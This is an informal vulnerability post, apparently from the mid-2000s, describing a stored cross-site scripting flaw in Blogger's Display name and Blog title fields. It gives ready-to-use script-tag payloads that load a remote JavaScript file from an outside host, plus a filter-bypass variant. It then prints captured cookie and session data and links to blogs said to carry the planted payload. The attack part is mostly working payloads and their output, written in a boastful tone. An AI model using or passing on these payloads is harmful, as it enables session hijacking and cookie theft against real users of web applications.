Blogspot.com

Homepage:
http://www.blogspot.com

Affected files:

Blog input boxes
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XSS vuln via Display name input box.

Blogger doesnt properally sanatize user input before generating it. For example, you can't use illegal characters in your username,or password, but for a "Display name", theyre allowed. Also, in Blog title, you can use them.

For a PoC in the display name box try putting:
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

When you visit your blog at http://whatever.blogspot.com, you'll see the code printedon the page, however it works. If you were to use a img tag as your display name, the image would be displayed.


And to bypass the not allowed html filter, we put the numerical equivlent of < before the actual tag, as well as > after the tag

<<SCRIPT SRC=http://ha.ckers.org/xss.js>>

With that code above you'll notice your cookie data has popped up. Awesome huh? Below the screenshot & cookie data:


Our cookie:

This is remote text via xss.js located at ha.ckers.org NSC_cmphhfs-fyu=0a1401230050; JSESSIONID=41EF1903DD571793A2D29B41CCED8834; ServerID=1315; hlSession=en; hl=en; __utma=150635877.44768819.1150269380.1150269380.
1150269380.1; __utmb=150635877; __utmc=150635877; __utmz=150635877.1150269380.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NSC_cmphhfs-fyu=0a1401030050;I=SWgFh0wsBAAA=.hCANmCIpgh6067BRKRqqmg==.a+/bxnhvdaZFY6bOWAk5wQ==; B1I=%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2FSCRIPT%3E& 


Screenshots:
http://www.youfucktard.com/xsp/blogspot1.jpg
http://www.youfucktard.com/xsp/blogspot2.jpg


Example blogs with the vuln inplanted:
http://ghgfde3.blogspot.com/
(NSFW) http://botguy.blogspot.com